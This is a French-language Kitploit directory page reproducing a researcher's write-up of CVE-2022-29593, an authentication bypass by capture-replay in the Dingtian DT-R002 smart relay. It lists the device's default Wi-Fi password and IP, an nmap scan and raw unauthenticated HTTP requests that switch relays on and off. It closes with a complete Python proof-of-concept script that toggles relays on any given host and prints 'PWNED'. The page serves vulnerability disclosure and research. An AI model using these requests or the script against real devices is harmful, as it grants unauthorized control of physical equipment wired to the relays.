Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-29593 — Preuve de concept d'exploitation pour le contournement d'authentification par rejeu de capture dans le relais Dingtian DT-R002, permettant un contrôle non autorisé des relais via HTTP et Modbus TCP. | Kitploit
Outils/GitHubGitHub/9lyph/cve-2022-29593
Sniffing et Analyse de PaquetsReconnaissanceSécurité IoTAnalyse des VulnérabilitésExploitationSécurité SCADA/ICSExploitation d'Applications WebFuzzingTests d'IntrusionSécurité Matériel et IoTAuthentification
8317il y a 1 anPas encore vérifié
GitHub9lyph/cve-2022-29593

CVE-2022-29593

Preuve de concept d'exploitation pour le contournement d'authentification par rejeu de capture dans le relais Dingtian DT-R002, permettant un contrôle non autorisé des relais via HTTP et Modbus TCP.

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-29593 - Contournement d'authentification par rejeu de capture (Dingtian-DT-R002)

Titre

dingtian

Contournement d'authentification par rejeu de capture Publié : Version : 1.0 Vendeur : Shenzhen Dingtian Technologies Co., Ltd Produit : Carte relais / Relais 2 canaux Version concernée : Firmware V3.1.276A

Produit - Dingtian DTR004

Lien Ali Express

Description du produit

  • Carte relais / Relais 2 canaux
  • Compatible WiFi/RS485/Ethernet

Spécifications techniques

Overview

Support multiple channel relay, On/Off/Delay/Jog
Support multiple interface RJ45/RS485/CAN/WIFI
Local Button control
PC app config and control
WEB config and control
8KB FIFO command buffer
Support password.
WIFI smart config support
Button control
MQTT/Modbus/CoAP

Technical parameters

Interface RJ45/ RS485/CAN/WIFI
Baudrate 100M/115200bps/125kbps/150Mbps
Protocol TCP server/client,UDP server/client,RS485,CAN,WIFI
Operating temperature -10~+75°C
Storage temperature -40~+125°C
Relative humidity 5~95% RH, no condensation
Power supply 9-40V Non-polar
Current 1A@12V DC
Power consumption <5W

Relay parameters

Relay Power AC 250V/10A,DC 30V/10A
Delay 1~65535 seconds
Jog Pull in 0.5 seconds, automatically release

Power supply Non-polar

DC 9~40V Non-polar

Références

  • MITRE

  • Exploit-db

Fabricant

  • Fondée en 2019, Dingtian est un fabricant de dispositifs intelligents pour l'IoT et les systèmes de contrôle d'accès. Des produits efficaces et stables ainsi qu'une livraison rapide sont notre code de conduite.

Recherche

  • Alimenté (12VDC @ 1A max)

>

  • Scan réseau
  • WiFi par défaut (SSID) : dtrelay7685 (le numéro de série correspond aux quatre derniers chiffres)
    • Où puis-je trouver le numéro de série ?
  • PSK par défaut : dtpassword
  • IP par défaut : 192.168.7.1
nmap -p- --open -Pn 192.168.7.1
PORT    STATE SERVICE
53/tcp  open  domain
80/tcp  open  http 
502/tcp open  mbap 

Accès HTTP

  • L'accès HTTP permet de contrôler l'appareil lorsqu'il est connecté au SSID par défaut

>

Résultat

Contournement d'authentification par rejeu de capture

  • Le relais 2CH Dingtian (Dingtian DT-R002) exécutant le firmware V3.1.276A permet à un attaquant de rejouer les mêmes données ou des données similaires. Cela permet à l'attaquant de contrôler les dispositifs connectés aux relais sans nécessiter d'authentification.
  • Il a été constaté que les relais de l'appareil pouvaient être contrôlés (allumer et éteindre) via des requêtes HTTP non authentifiées.

Les preuves montrent la requête HTTP et la réponse utilisées pour allumer et éteindre le relais.

Turning ON

Request
GET /relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0& HTTP/1.1
Host: 192.168.7.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.7.1/relay_cgi.html
Cookie: session=4463009

Response
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 11

&0&0&0&1&0&

Turning OFF

Request
GET /relay_cgi.cgi?type=0&relay=0&on=0&time=0&pwd=0& HTTP/1.1
Host: 192.168.7.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.7.1/relay_cgi.html
Cookie: session=4463009

Response
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 11

&0&0&0&0&0&

Vulnérabilité

  • CWE-294 - Contournement d'authentification par rejeu de capture

Configurations logicielles concernées connues

  • V3.1.276A (Firmware)

Code PoC

#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# DingTian DT-R002 2CH Smart Relay
# CWE-294 - Authentication Bypass by Capture-replay

import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   Description: DingTian DT-R002 2CH Smart Relay                                      |")
    print ("|   Usage : "+sys.argv[0]+" <host> <relay#>                                           |")   
    print ("[+]********************************************************************************[+]")

def main():
    os.system('clear')
    banner()
    urlRelay1On  = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0&"
    urlRelay1Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=0&time=0&pwd=0&"
    urlRelay2On  = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=1&time=0&pwd=0&"
    urlRelay2Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=0&time=0&pwd=0&"

    headers = {
        "Host": ""+host+"",
        "User-Agent": "9lyph/3.0",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "DNT": "1",
        "Connection": "close",
        "Referer": "http://"+host+"/relay_cgi.html",
        "Cookie": "session=4463009"
    }

    print (Fore.YELLOW + f"[+] Exploiting" + Style.RESET_ALL, flush=True, end=" ")
    for i in range(5):
        time.sleep (1)
        print (Fore.YELLOW + "." + Style.RESET_ALL, flush=True, end="")
    try:
        if (relay == "1"):
            print (Fore.GREEN + "\n[+] Relay 1 switched on !" + Style.RESET_ALL)
            r = requests.get(urlRelay1On)
            time.sleep (5)
            print (Fore.GREEN + "[+] Relay 1 switched off !" + Style.RESET_ALL)
            r = requests.get(urlRelay1Off)
            print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
        elif (relay == "2"):
            print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL)
            r = requests.get(urlRelay2On)
            time.sleep (5)
            print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL)
            r = requests.get(urlRelay2Off)
            print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
        else:
            print (Fore.RED + "[!] No such relay" + Style.RESET_ALL)
    except KeyboardInterrupt:
        sys.exit(1)
    except requests.exceptions.Timeout:
        print ("[!] Connection to host timed out !")
        sys.exit(1)
    except requests.exceptions.Timeout:
        print ("[!] Connection to host timed out !")
        sys.exit(1)
    except Exception as e:
        print (Fore.RED + f"[+] You came up short I\'m afraid !" + Style.RESET_ALL)
Télécharger l’outil